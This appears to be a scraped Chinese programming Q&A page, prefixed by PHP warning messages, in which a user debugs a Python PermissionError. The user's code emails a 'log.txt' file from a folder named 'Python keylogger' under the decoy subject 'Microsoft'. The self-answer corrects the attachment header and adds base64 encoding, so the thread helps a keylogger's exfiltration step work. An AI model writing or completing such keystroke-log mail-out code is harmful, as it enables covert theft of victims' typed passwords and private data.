Warning: file_get_contents(/data/phpspider/zhask/data//catemap/1/visual-studio-2012/2.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
PermissionError:[Errno 13]权限被拒绝python错误_Python - Fatal编程技术网

PermissionError:[Errno 13]权限被拒绝python错误

PermissionError:[Errno 13]权限被拒绝python错误,python,Python,我试图以管理员身份运行可视化代码,但这并没有解决问题,我试图以rb模式打开此文件,但我无法。当我尝试执行时,它给了我这个权限错误 msg['From'] = fromaddr msg['To'] = toaddr msg['Subject'] = "Microsoft" body = "Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nullam euismod arcu ultrices magna

我试图以管理员身份运行可视化代码,但这并没有解决问题,我试图以rb模式打开此文件,但我无法。当我尝试执行时,它给了我这个权限错误

msg['From'] = fromaddr
msg['To'] = toaddr
msg['Subject'] = "Microsoft"
body = "Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nullam euismod arcu ultrices magna semper, sit amet suscipit lectus vehicula. In hac habitasse platea dictumst. Curabitur dolor purus, ullamcorper ut aliquet at, pulvinar ut ante. Integer sed semper orci. Phasellus pharetra molestie mi, tempor bibendum turpis euismod eget. Nullam scelerisque enim nec nunc maximus, id mollis magna condimentum. Proin mollis pulvinar mollis. Vivamus pharetra arcu non tortor faucibus interdum. Pellentesque habitant morbi tristique senectus et netus et malesuada fames ac turpis egestas."
msg.attach(MIMEText(body,'plain'))
filename = "log.txt"
attachment = open(r"C:/Users/messa/Desktop/Python keylogger/", "rb")
p = MIMEBase('application', 'octet-stream')
p.set_payload((attachment).read())
p.add_header('Content-description','attachment; filename= %s' % filename)
msg.attach(p)


多亏了@Marichyasana,才有了3个问题。他在评论中修正了一个问题,第二个问题是我输入了内容描述,它应该是我的“内容配置”

第三,我忘了对有效载荷进行编码

encoders.encode_base64(p)

感谢您的帮助。

只需关闭您的文件并再次运行代码。bro,我已经这样做了,请给我一个更好的解决方案。我的意思是
log.txt
文件,而不是代码文件。我已经这样做了。看来您的附件是目录而不是文件
p.add_header('Content-description','attachment; filename= %s' % filename)
encoders.encode_base64(p)